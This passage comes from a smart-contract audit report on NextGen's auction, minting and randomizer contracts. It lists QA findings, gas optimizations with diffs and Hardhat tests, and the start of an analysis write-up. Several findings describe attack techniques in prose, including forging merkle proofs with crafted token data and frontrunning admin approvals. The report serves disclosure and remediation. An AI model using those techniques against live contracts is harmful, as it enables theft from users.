uint256 index;
if (auctionInfoData[_tokenid].length > 0) {
-> uint256 highBid = 0;
for (uint256 i=0; i< auctionInfoData[_tokenid].length; i++) {
if (auctionInfoData[_tokenid][i].bid > highBid && auctionInfoData[_tokenid][i].status == true) {
-> highBid = auctionInfoData[_tokenid][i].bid;
index = i;
}
}
if (auctionInfoData[_tokenid][index].status == true) {
return highBid;
} else {
return 0;
}
} else {
return 0;
}
}
Update the highBid
value:
function returnHighestBidder(uint256 _tokenid) public view returns (address) {
uint256 highBid = 0;
uint256 index;
for (uint256 i=0; i< auctionInfoData[_tokenid].length; i++) {
if (auctionInfoData[_tokenid][i].bid > highBid && auctionInfoData[_tokenid][i].status == true) {
+ highBid = auctionInfoData[_tokenid][i].bid;
index = i;
}
}
if (auctionInfoData[_tokenid][index].status == true) {
return auctionInfoData[_tokenid][index].bidder;
} else {
revert("No Active Bidder");
}
}
Bidders can't cancel their bid after the auction ends: AuctionDemo.sol#L125.
They don't have a method to withdraw their bid if they didn't win either. Also, they have to wait until the winner or an admin claims the NFT to get their bid back AuctionDemo.sol#L116.
This is an unnecessary lock of users funds.
Allow non-winning bidders to withdraw their bids after an auction ends.
Tokens put into auction are first airdropped to a specific _recipient
address.
function mintAndAuction(address _recipient, ...)
/// ...
gencore.airDropTokens(mintIndex, _recipient, _tokenData, _saltfun_o, _collectionID);
Then, they are transferred from that address to the auction winner:
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
/// ...
for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
-> IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
(bool success, ) = payable(owner()).call{value: highestBid}("");
emit ClaimAuction(owner(), _tokenid, success, highestBid);
} else if (auctionInfoData[_tokenid][i].status == true) {
(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
} else {}
}
}
If for any reason the ownerOfToken
didn't approve the token, move it, its address is compromised, or decided not to transfer it, the whole transaction will revert, preventing any participant to receive their funds.
Mint the airdropped token to a escrow contract with an approval to be transferred upon a call from the claimAuction()
function.
Despite being a trusted role, if the owner account is compromised, or is moved to a contract that can't accept Ether, the whole claimAuction()
will be blocked, preventing bidders from getting their bid back, and the auction winner from getting the NFT.
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
/// ...
for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
-> (bool success, ) = payable(owner()).call{value: highestBid}("");
emit ClaimAuction(owner(), _tokenid, success, highestBid);
} else if (auctionInfoData[_tokenid][i].status == true) {
(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
} else {}
}
}
Move the logic to transfer funds from the auction to a separate function.
EIP-165 defines "a standard method to publish and detect what interfaces a smart contract implements". But the contracts in scope define custom-made checks that are not standard and make integrations more difficult.
Instances:
isAdminContract()
isRandomizerContract()
isMinterContract()
- Defined in MinterContract.sol#L506-L508
- Used in NextGenCore.sol#L316
Implement the EIP-165 standard with supportsInterface()
.
The current implementation removes the support of ERC721Enumerable
for the NextGenCore
contract, as super.supportsInterface(interfaceId)
will return the supported interface of the rightmost overridden contract, which is ERC2981
.
This will break any possible integration that expects the contract to support the interface of ERC721Enumerable
, including the NFT interface for ERC721
. This could be for example an NFT lending protocol that expects the NFT contract supports it (in this case NextGenCore
).
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable, ERC2981) returns (bool) {
return super.supportsInterface(interfaceId);
}
Add the contract support for the ERC721Enumerable
interface in supportsInterface()
.
NextGenCore::createCollection()
allows the creation of an unbounded array of generative scripts for the collection: NextGenCore.sol#L138.
But it doesn't allow updating scripts with index 999
and 1000
, as the updateCollectionInfo()
function overuses the index
attribute to conditionally update other collection properties.
This makes it impossible to update those values, bricking the contract functionality.
The recommendation would be to refactor the updateCollectionInfo()
function, so that it doesn't use the index
for multiple purposes, and allow the update of any element on the scripts array.
Another possible but not recommended solution would be to limit the scripts size to < 999
.
Once the NextGenCore::createCollection()
sets the generative scripts array, its size can't be changed: NextGenCore.sol#L138
The updateCollectionInfo()
allows to replace specific scripts, but it doesn't allow to remove them, or add a new one, which makes it more difficult to perform updates; as "deleted" scripts would have to be replaced with an empty value, on multiple transactions. Also newly scripts will have to be "squashed" into existing scripts elements.
Allow the updateCollectionInfo()
function to replace the whole scripts array.
Some specific token data passed to the minting functions may be crafted to exploit this edge behavior of the merkle proof contract and bypass verification.
The node is calculated here:
An explanation can be found on the OpenZeppelin contract:
* WARNING: You should avoid using leaf values that are 64 bytes long prior to hashing, or use a hash function other than keccak256 for hashing leaves.
* This is because the concatenation of a sorted pair of internal nodes in the merkle tree could be reinterpreted as a leaf value.
Add a prefix to the node hash, so that it makes sure the length is always >
64 bytes.
The node in the mint()
function is calculated as node = keccak256(abi.encodePacked(_delegator, _maxAllowance, tokData));
. While in burnOrSwapExternalToMint()
it is node = keccak256(abi.encodePacked(_tokenId, tokData));
Since the token data is variable, it can be crafted to make the node from one function match the other. Since both functions use the same merkle root, the proof would be valid.
Include some identifier if the same merkle root will be used for proofs with different data. Also hash the token data.
There is no check to prevent setting the artist signature as empty. Once the signature is set, it can't be changed and will leave the collection with an empty signature: NextGenCore.sol#L259
Considering checking the artist signature:
function artistSignature(uint256 _collectionID, string memory _signature) public {
+ require(bytes(_signature).length > 0);
Artists are required that the status
of the collectionArtistPrimaryAddresses
and collectionArtistSecondaryAddresses
are set to false
, in order to propose new addresses and percentages:
However, this also means that they can't propose new ones, once these values have been approved. The inconsistency can be seen clearly on how both functions try to update the status
variable to false
, despite the fact that it will always be false
in that situation, as the previous require
prevents it otherwise.
This results in artists that can't propose new addresses and percentages once they were set.
One solution can be to create a new set of storage variables to save temporary proposed values by the artist, that the admins can then approve or not.
acceptAddressesAndPercentages()
has no way to prevent an artist frontrunning the transaction and changing expected addresses and percentages that the admins have reviewed, and are willing to approve.
This could be considered to break one of the main invariants of the protocol, as the admin would approve addresses and percentages different than the ones they expected (without noticing):
Properties that should NEVER be broken under any circumstance:
- Payments can only be made when royalties are set, the artist proposes addresses and percentages, and an admin approves them.
One way to solve it is passing a hash that should match the on-chain parameters to be accepted.
There is no check verifying that the addresses and percentages have been proposed by the artist. Nevertheless an admin can "accept" them. Consider checking that the proposed values are not empty.
Addresses don't need to be converted to payable
to send them value like payable(addr).call{value: value}
. This adds unnecessary complexity to the code. Consider removing the payable
conversions for the following instances:
- AuctionDemo.sol#L113
- AuctionDemo.sol#L116
- AuctionDemo.sol#L128
- AuctionDemo.sol#L139
- RandomizerRNG.sol#L82
- MinterContract.sol#L434-L438
- MinterContract.sol#L464
The Warden's QA report has been graded A based on a score of 66, combined with a manual review. The Warden's submission's score was assessed based on the following accepted findings:
Low-Risk
- [02]
- [05]
- [15]
- [16]
- [17]
Non-Critical
- [01]
- [08]
- [12]
- [13]
- [19]
Informational
- [21]
As this report has been selected as the best, I will provide additional feedback on the points that were not credited in the original assessment above:
- [03] Desirable Trait of the Protocol, Suitable Criticism for Analysis Submissions
- [04] Could be Argued as Deliberate Optimization
- [06] Desirable Trait of the Protocol, Suitable Criticism for Analysis Submissions
- [07] Inconsequential & Gas Increase
- [09] Desirable Trait of the Protocol, Suitable Criticism for Analysis Submissions
- [10] Desirable Trait of the Protocol
- [11] Preference
- [14] Informational (Uncredited)
- [18] Desirable Trait of the Protocol
- [20] Desirable Trait of the Protocol
Note: For full discussion, see here.
For this audit, 19 reports were submitted by wardens detailing gas optimizations. The report highlighted below by rahul received the top score from the judge.
The following wardens also submitted reports: r0ck3tz, JCK, K42, c3phas, thekmj, SovaSlava, lsaudit, MrPotatoMagic, 0xAnah, petrichor, DavidGiladi, hunter_w3b, 0xSolus, dharma09, hihen, leegh, Tadev, and epistkr.
ID | Optimization | Gas Saved |
---|---|---|
[G-01] | Derive min / max collection bounds dynamically | 54,522 |
[G-02] | Remove redundant flag for creation of collection | 34,044 |
[G-03] | Remove duplicate reference to core contract | 28,517 |
[G-04] | Remove duplicate reference to randomizer contract | 22,761 |
[G-05] | Remove redundant external call during airdrop | 3066 |
[G-06] | Optimise creation of collection | 976 |
54,522 gas can be saved.
Method | Before | After | Gas Saved | Test Passes? |
---|---|---|---|---|
NextGenCore:setCollectionData() |
199090 | 154389 | 44701 | Yes |
NextGenCore:burn() |
84270 | 83948 | 322 | Yes |
NextGenCore:setFinalSupply() |
54949 | 49590 | 5359 | Yes |
NextGenCore:mint() |
529382 | 525242 | 4140 | Yes |
Token min / max index define the valid range of tokens within a collection. There is no need to store them in state variables, as these can be derived using collectionID
and collectionTotalSupply
and their values can be read using the getter functions wherever required.
STEP 1: Update the getter functions:
function viewTokensIndexMin(...) {
- return(collectionAdditionalData[_collectionID].reservedMinTokensIndex);
+ return _collectionID * 10000000000;
}
Source: smart-contracts/NextGenCore.sol#L383-L385
function viewTokensIndexMax(...) {
- return(collectionAdditionalData[_collectionID].reservedMaxTokensIndex);
+ return _collectionID * 10000000000 + collectionAdditionalData[_collectionID].collectionTotalSupply - 1;
}
Source: smart-contracts/NextGenCore.sol#L389-L391
STEP 2: Remove declaration:
struct collectionAdditonalDataStructure {
address collectionArtistAddress;
uint256 maxCollectionPurchases;
uint256 collectionCirculationSupply;
uint256 collectionTotalSupply;
- uint256 reservedMinTokensIndex;
- uint256 reservedMaxTokensIndex;
uint setFinalSupplyTimeAfterMint;
address randomizerContract;
IRandomizer randomizer;
}
Source: smart-contracts/NextGenCore.sol#L44-L54
STEP 3: Remove assignment:
function setCollectionData(...) {
__SNIP__
if (collectionAdditionalData[_collectionID].collectionTotalSupply == 0) {
collectionAdditionalData[_collectionID].collectionCirculationSupply = 0;
collectionAdditionalData[_collectionID].collectionTotalSupply = _collectionTotalSupply;
collectionAdditionalData[_collectionID].setFinalSupplyTimeAfterMint = _setFinalSupplyTimeAfterMint;
- collectionAdditionalData[_collectionID].reservedMinTokensIndex = (_collectionID * 10000000000);
- collectionAdditionalData[_collectionID].reservedMaxTokensIndex = (_collectionID * 10000000000) + _collectionTotalSupply - 1;
wereDataAdded[_collectionID] = true;
}
__SNIP__
}
Source: smart-contracts/NextGenCore.sol#L147-L166
STEP 4: Read value via getter:
function burn(uint256 _collectionID, uint256 _tokenId) public {
__SNIP__
- require ((_tokenId >= collectionAdditionalData[_collectionID].reservedMinTokensIndex) && (_tokenId <= collectionAdditionalData[_collectionID].reservedMaxTokensIndex), "id err");
+ require ((_tokenId >= this.viewTokensIndexMin(_collectionID)) && (_tokenId <= this.viewTokensIndexMax(_collectionID)), "id err");
__SNIP__
}
Source: smart-contracts/NextGenCore.sol#L204-L209
STEP 5: Since max value is calculated dynamically, no need to update it on supply change:
function setFinalSupply(...) {
__SNIP__
collectionAdditionalData[_collectionID].collectionTotalSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply;
- collectionAdditionalData[_collectionID].reservedMaxTokensIndex = (_collectionID * 10000000000) + collectionAdditionalData[_collectionID].collectionTotalSupply - 1;
}
Source: smart-contracts/NextGenCore.sol#L307-L311
STEP 6: Fetch via value via getter:
function getTokenName(...) {
- uint256 tok = tokenId - collectionAdditionalData[tokenIdsToCollectionIds[tokenId]].reservedMinTokensIndex;
+ uint256 tok = tokenId - this.viewTokensIndexMin(tokenIdsToCollectionIds[tokenId]);
__SNIP__
}
Source: smart-contracts/NextGenCore.sol#L361-L364
const {
loadFixture,
time,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers");
const { expect } = require("chai");
const { ethers } = require("hardhat");
const fixturesDeployment = require("../scripts/fixturesDeployment.js");
let signers;
let contracts;
const MAX_TOTAL_SUPPLY = 10_000_000_000;
describe("Verify removal of min/max params from storage", async function () {
before(async function () {
({ signers, contracts } = await loadFixture(fixturesDeployment));
});
it("SHOULD deploy contracts", async function () {
expect(await contracts.hhAdmin.getAddress()).to.not.equal(
ethers.ZeroAddress
);
expect(await contracts.hhCore.getAddress()).to.not.equal(
ethers.ZeroAddress
);
expect(await contracts.hhDelegation.getAddress()).to.not.equal(
ethers.ZeroAddress
);
expect(await contracts.hhMinter.getAddress()).to.not.equal(
ethers.ZeroAddress
);
expect(await contracts.hhRandomizer.getAddress()).to.not.equal(
ethers.ZeroAddress
);
expect(await contracts.hhRandoms.getAddress()).to.not.equal(
ethers.ZeroAddress
);
});
it("SHOULD create a collection", async function () {
await contracts.hhCore.createCollection(
"TestCollection",
"Artist 1",
"For testing",
"www.test.com",
"CCO",
"https://ipfs.io/ipfs/hash/",
"",
["desc"]
);
});
it("SHOULD successfully set min / max params for a collection", async function () {
const SUPPLY = 1000;
await contracts.hhCore.setCollectionData(
1,
signers.owner.address,
50,
SUPPLY,
100
);
expect(await contracts.hhCore.viewTokensIndexMin(1)).eq(
1 * MAX_TOTAL_SUPPLY
);
expect(await contracts.hhCore.viewTokensIndexMax(1)).eq(
1 * MAX_TOTAL_SUPPLY + (SUPPLY - 1)
);
});
it("SHOULD mint token", async function () {
await contracts.hhCore.addMinterContract(contracts.hhMinter);
await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);
await contracts.hhMinter.setCollectionCosts(
1, // _collectionID
0, // _collectionMintCost
0, // _collectionEndMintCost
0, // _rate
0, // _timePeriod
1, // _salesOptions
"0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
);
await contracts.hhMinter.setCollectionPhases(
1, // _collectionID
1696931278, // _allowlistStartTime
1696931278, // _allowlistEndTime
1696931278, // _publicStartTime
1700019791, // _publicEndTime
"0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
);
await contracts.hhMinter.mint(
1, // _collectionID
2, // _numberOfTokens
0, // _maxAllowance
'{"tdh": "100"}', // _tokenData
signers.owner.address, // _mintTo
["0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870"], // _merkleRoot
signers.addr1.address, // _delegator
2 //_varg0
);
});
it("SHOULD burn valid token", async function () {
let min = await contracts.hhCore.viewTokensIndexMin(1);
await expect(contracts.hhCore.burn(1, min)).not.to.be.reverted;
expect(await contracts.hhCore.balanceOf(signers.owner.address)).eq(1);
});
it("SHOULD successfully set final supply", async function () {
await time.increaseTo(1700019900);
await expect(contracts.hhCore.setFinalSupply(1)).not.to.be.reverted;
});
it("SHOULD successfully get token name", async function () {
let min = await contracts.hhCore.viewTokensIndexMin(1);
// @audit getTokenName was changed to public for the purpose of unit testing.
expect(await contracts.hhCore.getTokenName(min + 1n)).to.be.eq(
"TestCollection #1"
);
});
});
34,044 gas can be saved.
Method | Before | After | Gas Saved | Test Passes? |
---|---|---|---|---|
NextGenCore:createCollection() |
252555 | 230253 | 22302 | Yes |
NextGenCore:setCollectionData() |
199078 | 199031 | 47 | Yes |
NextGenCore:updateCollectionInfo() |
51993 | 51946 | 47 | Yes |
NextGenCore:changeMetadataView() |
62755 | 62708 | 47 | Yes |
NextGenCore:freezeCollection() |
57073 | 57026 | 47 | Yes |
Deployment | Before | After | Gas Saved |
---|---|---|---|
NextGenCore |
5501771 | 5490217 | 11554 |
The NextGenCore.sol
contract uses a storage variable called isCollectionCreated
to check if a collection has been created.
Alternatively, the existence of a collection can also be verified by checking if the collectionID
is less than newCollectionIndex
, since all existing collections will have a value that is less than newCollectionIndex
. This optimization saves an expensive storage write during contract creation:
STEP 1: Remove the storage variable declaration, and write from createCollection()
:
__SNIP__
- mapping (uint256 => bool) private isCollectionCreated;
__SNIP__
function createCollection(...) {
collectionInfo[newCollectionIndex].collectionName = _collectionName;
collectionInfo[newCollectionIndex].collectionArtist = _collectionArtist;
collectionInfo[newCollectionIndex].collectionDescription = _collectionDescription;
collectionInfo[newCollectionIndex].collectionWebsite = _collectionWebsite;
collectionInfo[newCollectionIndex].collectionLicense = _collectionLicense;
collectionInfo[newCollectionIndex].collectionBaseURI = _collectionBaseURI;
collectionInfo[newCollectionIndex].collectionLibrary = _collectionLibrary;
collectionInfo[newCollectionIndex].collectionScript = _collectionScript;
- isCollectionCreated[newCollectionIndex] = true;
newCollectionIndex = newCollectionIndex + 1;
}
__SNIP__
Source: smart-contracts/NextGenCore.sol#L62
Source: smart-contracts/NextGenCore.sol#L139
STEP 2: Refactor the require statements to verify using newCollectionIndex
instead in setCollectionData()
, updateCollectionInfo()
, changeMetadataView()
, and freezeCollection()
. It also verifies that collectionID
greater than zero since newCollectionIndex
starts with 1.
- require((isCollectionCreated[_collectionID] == true) && (collectionFreeze[_collectionID] == false) && (_collectionTotalSupply <= 10000000000), "err/freezed");
+ require((_collectionID > 0 && _collectionID < newCollectionIndex) && (collectionFreeze[_collectionID] == false) && (_collectionTotalSupply <= 10000000000), "err/freezed");
Source: smart-contracts/NextGenCore.sol#L148
- require((isCollectionCreated[_collectionID] == true) && (collectionFreeze[_collectionID] == false), "Not allowed");
+ require((_collectionID > 0 && _collectionID < newCollectionIndex) && (collectionFreeze[_collectionID] == false), "Not allowed");
Source: smart-contracts/NextGenCore.sol#L239
- require((isCollectionCreated[_collectionID] == true) && (collectionFreeze[_collectionID] == false), "Not allowed");
+ require(( _collectionID > 0 && _collectionID < newCollectionIndex) && (collectionFreeze[_collectionID] == false), "Not allowed");
Source: smart-contracts/NextGenCore.sol#L267
- require(isCollectionCreated[_collectionID] == true, "No Col");
+ require((_collectionID > 0 && _collectionID < newCollectionIndex), "No Col");
Source: smart-contracts/NextGenCore.sol#L293
const {
loadFixture,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers");
const { expect } = require("chai");
const { ethers } = require("hardhat");
const fixturesDeployment = require("../scripts/fixturesDeployment.js");
let signers;
let contracts;
describe("verify removal of `isCollectionCreated` storage variable", async function () {
before(async function () {
({ signers, contracts } = await loadFixture(fixturesDeployment));
});
it("SHOULD deploy contracts", async function () {
expect(await contracts.hhAdmin.getAddress()).to.not.equal(
ethers.ZeroAddress
);
expect(await contracts.hhCore.getAddress()).to.not.equal(
ethers.ZeroAddress
);
expect(await contracts.hhDelegation.getAddress()).to.not.equal(
ethers.ZeroAddress
);
expect(await contracts.hhMinter.getAddress()).to.not.equal(
ethers.ZeroAddress
);
expect(await contracts.hhRandomizer.getAddress()).to.not.equal(
ethers.ZeroAddress
);
expect(await contracts.hhRandoms.getAddress()).to.not.equal(
ethers.ZeroAddress
);
});
it("SHOULD revert when setting data on non existent collection", async function () {
await expect(
contracts.hhCore.setCollectionData(1, signers.owner.address, 50, 100, 100)
).to.be.revertedWith("err/freezed");
});
it("SHOULD revert when updating non existent collection", async function () {
await expect(
contracts.hhCore.updateCollectionInfo(
1,
"Test Collection 1",
"Artist 1",
"For testing",
"www.test.com",
"CCO",
"https://ipfs.io/ipfs/hash/",
"",
999,
["desc"]
)
).to.be.revertedWith("Not allowed");
});
it("SHOULD revert when changing meta data of a non existent collection", async function () {
await expect(
contracts.hhCore.changeMetadataView(1, true)
).to.be.revertedWith("Not allowed");
});
it("SHOULD revert when freezing non existent collection", async function () {
await expect(contracts.hhCore.freezeCollection(1)).to.be.revertedWith(
"No Col"
);
});
it("SHOULD create a collection", async function () {
await contracts.hhCore.createCollection(
"Test Collection 1",
"Artist 1",
"For testing",
"www.test.com",
"CCO",
"https://ipfs.io/ipfs/hash/",
"",
["desc"]
);
});
it("SHOULD succeed when setting data on an existing collection", async function () {
await expect(
contracts.hhCore.setCollectionData(1, signers.owner.address, 50, 100, 100)
).not.to.be.revertedWith("err/freezed");
});
it("SHOULD succeed when updating an existing collection", async function () {
await expect(
contracts.hhCore.updateCollectionInfo(
1,
"Test Collection 1",
"Artist 1",
"For testing",
"www.test.com",
"CCO",
"https://ipfs.io/ipfs/hash/",
"",
999,
["desc"]
)
).not.to.be.revertedWith("Not allowed");
});
it("SHOULD succeed when changing meta data of an existing collection", async function () {
await expect(
contracts.hhCore.changeMetadataView(1, true)
).not.to.be.revertedWith("Not allowed");
});
it("SHOULD succeed when freezing an existing collection", async function () {
await expect(contracts.hhCore.freezeCollection(1)).not.to.be.revertedWith(
"No Col"
);
});
});
28,517 gas can be saved.
Method | Before | After | Gas Saved | Test Passes? |
---|---|---|---|---|
NextGenMinterContract:airDropTokens() |
744940 | 742940 | 2000 | Yes |
NextGenCore:mint() |
404474 | 402474 | 2000 | Yes |
Deployment | Before | After | Gas Saved |
---|---|---|---|
NextGenRandomizerNXT |
634074 | 609557 | 24517 |
This variable is redundant because the gencoreContract
variable is already used to store the address of the Gencore contract. The gencore
variable is only used in the calculateTokenHash
function, which could be easily updated to use the gencoreContract
variable instead.
STEP 1: Remove deceleration:
contract NextGenRandomizerNXT {
IXRandoms public randoms;
INextGenAdmins private adminsContract;
INextGenCore public gencoreContract;
// @audit redundant storage variable
- address gencore;
}
STEP 2: Remove assignment from constructor:
constructor(address _randoms, address _admin, address _gencore) {
randoms = IXRandoms(_randoms);
adminsContract = INextGenAdmins(_admin);
- gencore = _gencore;
gencoreContract = INextGenCore(_gencore);
}
STEP 3: Remove assignment from updateCoreContract
:
function updateCoreContract(address _gencore) public FunctionAdminRequired(this.updateCoreContract.selector) {
- gencore = _gencore;
gencoreContract = INextGenCore(_gencore);
}
STEP 4: Update calculateTokenHash
:
// function that calculates the random hash and returns it to the gencore contract
function calculateTokenHash(uint256 _collectionID, uint256 _mintIndex, uint256 _saltfun_o) public {
- require(msg.sender == gencore);
+ require(msg.sender == address(gencoreContract))
bytes32 hash = keccak256(abi.encodePacked(_mintIndex, blockhash(block.number - 1), randoms.randomNumber(), randoms.randomWord()));
gencoreContract.setTokenHash(_collectionID, _mintIndex, hash);
}
This can be verified using existing test suite.
22,761 gas can be saved.
Method | Before | After | Gas Saved | Test Passes? |
---|---|---|---|---|
NextGenCore:addRandomizer() |
70696 | 53535 | 17161 | Yes |
NextGenMinterContract::mint() |
404474 | 402474 | 2000 | Yes |
NextGenMinterContract::airDropTokens() |
744940 | 742940 | 2000 | Yes |
NextGenMinterContract::burnToMint() |
276474 | 274874 | 1600 | Yes |
It is sufficient to only store the address of the randomizer in collectionAdditonalDataStructure
. The randomizer contract instance can be referenced by providing this address to IRandomizer
interface. The gas savings also cascade to critical operations such as mint
, burnToMint
, and airDropTokens
.
STEP 1: Remove duplicate declaration from struct:
struct collectionAdditonalDataStructure {
address collectionArtistAddress;
uint256 maxCollectionPurchases;
uint256 collectionCirculationSupply;
uint256 collectionTotalSupply;
uint256 reservedMinTokensIndex;
uint256 reservedMaxTokensIndex;
uint setFinalSupplyTimeAfterMint;
address randomizerContract;
- IRandomizer randomizer;
}
Source: smart-contracts/NextGenCore.sol#L44-L54
Step 2: Remove the duplicate assignment:
function addRandomizer(...) {
__SNIP__
collectionAdditionalData[_collectionID].randomizerContract = _randomizerContract;
- collectionAdditionalData[_collectionID].randomizer = IRandomizer(_randomizerContract);
}
Source: smart-contracts/NextGenCore.sol#L170-L174
Step 3: Get randomizer instance using IRandomizer
interface:
function _mintProcessing(...) internal {
__SNIP__
- collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
+ IRandomizer(collectionAdditionalData[_collectionID].randomizerContract).calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
__SNIP__
}
Source: smart-contracts/NextGenCore.sol#L229
Optionally, for ease of understanding struct property could be renamed from randomizerContract
to randomizerContractAddress
.
POC can be verified using the existing test suite by adding the following test to cover burnToMint
:
context("Verify `burnToMint`", async function () {
it("SHOULD burn existing token and mint a new one", async function () {
contracts.hhCore.tokenOfOwnerByIndex();
await contracts.hhMinter.initializeBurn(1, 3, true);
await expect(
contracts.hhMinter
.connect(signers.addr1)
.burnToMint(1, 10000000000, 3, 2, {
value: await contracts.hhMinter.getPrice(3),
})
).to.not.be.reverted;
expect(await contracts.hhCore.ownerOf(30000000002)).to.be.eq(
signers.addr1.address
);
});
});
3066 gas can saved.
Method | Before | After | Gas Saved | Test Passes? |
---|---|---|---|---|
NextGenMinterContract:airDropTokens() |
1126101 | 1123035 | 3066 | Yes |
function airDropTokens(...) {
- require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data");
uint256 collectionTokenMintIndex;
for (uint256 y=0; y< _recipients.length; y++) {
collectionTokenMintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID) + _numberOfTokens[y] - 1;
require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_collectionID), "No supply");
}
}
}
Source: smart-contracts/MinterContract.sol#L182
The removed line of code checks to see if the collection data has been added. If it has not, the function reverts with the error message "Add data". As discussed in [G-4], retrievewereDataAdded
returns true only once total supply is added. The function later checks to see if the total tokens to be airdropped is within total supply. If they are not, the function will revert with the error message "No supply". Therefore, the first check for whether the collection data has been added is not necessary.
const {
loadFixture,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers");
const { expect } = require("chai");
const { ethers } = require("hardhat");
const fixturesDeployment = require("../scripts/fixturesDeployment.js");
let signers;
let contracts;
describe("verify removal of redundant external call from airdropTokens", async function () {
before(async function () {
({ signers, contracts } = await loadFixture(fixturesDeployment));
});
it("SHOULD deploy contracts", async function () {
expect(await contracts.hhAdmin.getAddress()).to.not.equal(
ethers.ZeroAddress
);
expect(await contracts.hhCore.getAddress()).to.not.equal(
ethers.ZeroAddress
);
expect(await contracts.hhDelegation.getAddress()).to.not.equal(
ethers.ZeroAddress
);
expect(await contracts.hhMinter.getAddress()).to.not.equal(
ethers.ZeroAddress
);
expect(await contracts.hhRandomizer.getAddress()).to.not.equal(
ethers.ZeroAddress
);
expect(await contracts.hhRandoms.getAddress()).to.not.equal(
ethers.ZeroAddress
);
});
it("SHOULD create a collection and setup collection", async function () {
await contracts.hhCore.createCollection(
"Test Collection 1",
"Artist 1",
"For testing",
"www.test.com",
"CCO",
"https://ipfs.io/ipfs/hash/",
"",
["desc"]
);
await contracts.hhCore.addMinterContract(contracts.hhMinter);
await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);
});
it("SHOULD revert when attempting to airdrop when collection is NOT added", async function () {
await expect(
contracts.hhMinter.airDropTokens(
[signers.addr1.address],
["data"],
[1],
1,
[5]
)
).to.be.revertedWith("No supply");
});
it("SHOULD successfully airdrop tokens when collection data is added", async function () {
await contracts.hhCore.setCollectionData(
1,
signers.owner.address,
50,
500,
100
);
await contracts.hhMinter.airDropTokens(
[signers.addr1.address],
["data"],
[1],
1,
[5]
);
expect(await contracts.hhCore.balanceOf(signers.addr1.address)).eq(5);
});
});
976 gas can be saved.
Method | Before | After | Gas Saved | Test Passes? |
---|---|---|---|---|
NextGenCore:createCollection() |
252555 | 251579 | 976 | Yes |
Refactoring the creation of a collection, a critical entry point, into simpler code can save gas:
function createCollection(...) {
- collectionInfo[newCollectionIndex].collectionName = _collectionName;
- collectionInfo[newCollectionIndex].collectionArtist = _collectionArtist;
- collectionInfo[newCollectionIndex].collectionDescription = _collectionDescription;
- collectionInfo[newCollectionIndex].collectionWebsite = _collectionWebsite;
- collectionInfo[newCollectionIndex].collectionLicense = _collectionLicense;
- collectionInfo[newCollectionIndex].collectionBaseURI = _collectionBaseURI;
- collectionInfo[newCollectionIndex].collectionLibrary = _collectionLibrary;
- collectionInfo[newCollectionIndex].collectionScript = _collectionScript;
- isCollectionCreated[newCollectionIndex] = true;
- newCollectionIndex = newCollectionIndex + 1;
+ isCollectionCreated[newCollectionIndex] = true;
+ collectionInfo[newCollectionIndex++] = collectionInfoStructure(
+ _collectionName,
+ _collectionArtist,
+ _collectionDescription,
+ _collectionWebsite,
+ _collectionLicense,
+ _collectionBaseURI,
+ _collectionLibrary,
+ _collectionScript
+ );
}
Source: smart-contracts/NextGenCore.sol#L130-L141
This can be verified using existing test suite.
Note: For full discussion, see here.
For this audit, 19 analysis reports were submitted by wardens. An analysis report examines the codebase as a whole, providing observations and advice on such topics as architecture, mechanism, or approach. The report highlighted below by MrPotatoMagic received the top score from the judge.
The following wardens also submitted reports: dimulski, K42, dy, Toshii, JohnnyTime, catellatech, Kose, Fulum, clara, hunter_w3b, SAAJ, ihtishamsudo, cats, 3th, niki, glcanvas, peanuts, and digitizeworx.
This audit report should be approached with the following points in mind:
- The report does not include repetitive documentation that the team is already aware of. It does include suggestions to provide more clarity on certain aspects in the documentation.
- The report is crafted towards providing the sponsors with value such as unknown edge case scenarios, faulty developer assumptions and unnoticed architecture-level weak spots.
- If there exists repetitive documentation (mainly in Mechanism Review), it is to provide the judge with more context on a specific high-level or in-depth scenario for ease of understandability.
Day 1-4
- Understand the idea of the project and grasp a high level mental model of the contract interactions.
- Reviewed the NextGenAdmins, NextGenCore and MinterContract to understand the core functionality of the protocol.
- Add inline bookmarks in the code in the form of questions, such as, "Could X do Y to mint more tokens or bypass this Z check?"
- Noted down some obvious gas optimizations and low-severity issues not covered by the bot.
Day 5-9
- Reviewed the AuctionDemo and the 3 Randomizer contracts.
- Explored findings and manually validated them with inline bookmarks.
- Read about Chainlink VRF security consideration as well as researched the ARRNGController.sol contract deployed on Ethereum mainnet.
- Added some more notes for attack ideas to visit later on.
Day 10-11
- Writing Gas/QA report.
- Writing HM reports with only written POC for now.
Day 12-14
- Setting up a foundry environment within the hardhat tests.
